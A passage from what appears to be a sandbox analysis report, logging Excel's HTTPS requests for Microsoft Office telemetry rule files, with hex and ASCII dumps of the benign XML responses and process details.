T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R> </O> </L> <R> <O T="LE"> <
2025-03-10 08:27:00 UTC	16384	IN	Data Raw: 20 49 3d 22 32 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 34 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 4f 76 65 72 66 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 Data Ascii: I="22" O="false" N="FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C> <C T="U32" I="24" O="false" N="FlyoutOverflow"> <C> <S T
2025-03-10 08:27:00 UTC	16384	IN	Data Raw: 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 45 74 77 20 54 3d 22 31 22 20 45 3d 22 33 39 35 22 20 47 3d 22 7b 32 61 64 66 38 65 32 33 2d 30 61 66 39 2d Data Ascii: coding="utf-8"?><R Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100" DCa="PSU" xmlns=""> <S> <Etw T="1" E="395" G="{2adf8e23-0af9-
2025-03-10 08:27:00 UTC	16384	IN	Data Raw: 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 55 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 Data Ascii: "TelemetryShutdown" /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V="0" T="U64" /> </R> </O> </F> </S> <C T="U
2025-03-10 08:27:00 UTC	16384	IN	Data Raw: 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 74 63 69 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <L> <S T="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L> <S T="5" F="tcid" /> </L> <R> <V
2025-03-10 08:27:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 20 20 3c 46 20 54 3d 22 31 30 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 4f 66 54 68 72 6f 77 6e 45 78 63 65 70 74 69 6f 6e 22 3e 0d Data Ascii: <F T="10"> <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="CountOfThrownException">
2025-03-10 08:27:00 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 Data Ascii: <S T="5" F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L> <R> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49705	13.107.246.60	443	6456	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-10 08:27:08 UTC	214	OUT	GET /rules/rule120607v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 08:27:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 08:27:08 GMT Content-Type: text/xml Content-Length: 204 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6C8527A" x-ms-request-id: 1d5eeacc-b01e-0097-0693-904f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T082708Z-185d6f64ccb4qkpbhC1DFW682800000009n0000000005pam x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-10 08:27:08 UTC	204	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 37 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 45 52 3d 22 31 32 30 36 30 33 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 62 70 7a 73 22 20 41 3d 22 39 34 30 74 63 20 39 78 35 6a 73 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120607" V="1" DC="SM" T="Subrule" ER="120603" xmlns=""> <S> <UTS T="1" Id="bbpzs" A="940tc 9x5js" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49704	13.107.246.60	443	6456	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-10 08:27:08 UTC	214	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 08:27:08 UTC	495	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 08:27:08 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: c9d314fb-701e-001e-4c96-91f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T082708Z-17fd884bc895p4v9hC1DFWck9n00000001t0000000006c2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-10 08:27:08 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49703	40.90.65.44	443	1048	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-10 08:27:08 UTC	226	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 08:27:09 UTC	493	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 08:27:08 GMT Content-Type: text/plain Content-Length: 1114783 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 09 Mar 2025 06:27:07 GMT ETag: "0x8DD5ED36A70D4F4" x-ms-request-id: 1f33b972-c01e-008d-4944-912eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T082708Z-15fcdc776c9hkr7fhC1LTSkup80000001150000000004ev4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-10 08:27:09 UTC	15891	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2025-03-10 08:27:09 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 56 20 56 3d 22 43 6c 69 63 6b 22 20 54 3d 22 57 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 Data Ascii: /> </T></R><$!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T="W" I="0" O="false"> <V V="Click" T="W" /> </C> <C T="U32
2025-03-10 08:27:09 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 67 6f 34 74 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 68 6c 76 79 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 49 33 32 Data Ascii: </C> <T> <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bgo4t" /> <UTS T="2" Id="bhlvy" /> </S> <C T="I32
2025-03-10 08:27:09 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: <L> <O T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R> </O> </L> <R> <O T="LE"> <
2025-03-10 08:27:09 UTC	16384	IN	Data Raw: 20 49 3d 22 32 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 34 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 4f 76 65 72 66 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 Data Ascii: I="22" O="false" N="FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C> <C T="U32" I="24" O="false" N="FlyoutOverflow"> <C> <S T
2025-03-10 08:27:09 UTC	16384	IN	Data Raw: 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 45 74 77 20 54 3d 22 31 22 20 45 3d 22 33 39 35 22 20 47 3d 22 7b 32 61 64 66 38 65 32 33 2d 30 61 66 39 2d Data Ascii: coding="utf-8"?><R Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100" DCa="PSU" xmlns=""> <S> <Etw T="1" E="395" G="{2adf8e23-0af9-
2025-03-10 08:27:09 UTC	16384	IN	Data Raw: 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 55 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 Data Ascii: "TelemetryShutdown" /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V="0" T="U64" /> </R> </O> </F> </S> <C T="U
2025-03-10 08:27:09 UTC	16384	IN	Data Raw: 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 74 63 69 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <L> <S T="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L> <S T="5" F="tcid" /> </L> <R> <V
2025-03-10 08:27:09 UTC	16384	IN	Data Raw: 0d 0a 20 20 20 20 3c 46 20 54 3d 22 31 30 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 4f 66 54 68 72 6f 77 6e 45 78 63 65 70 74 69 6f 6e 22 3e 0d Data Ascii: <F T="10"> <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="CountOfThrownException">
2025-03-10 08:27:09 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 Data Ascii: <S T="5" F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L> <R> <O T="EQ"> <L>

Target ID:	0
Start time:	04:25:42
Start date:	10/03/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
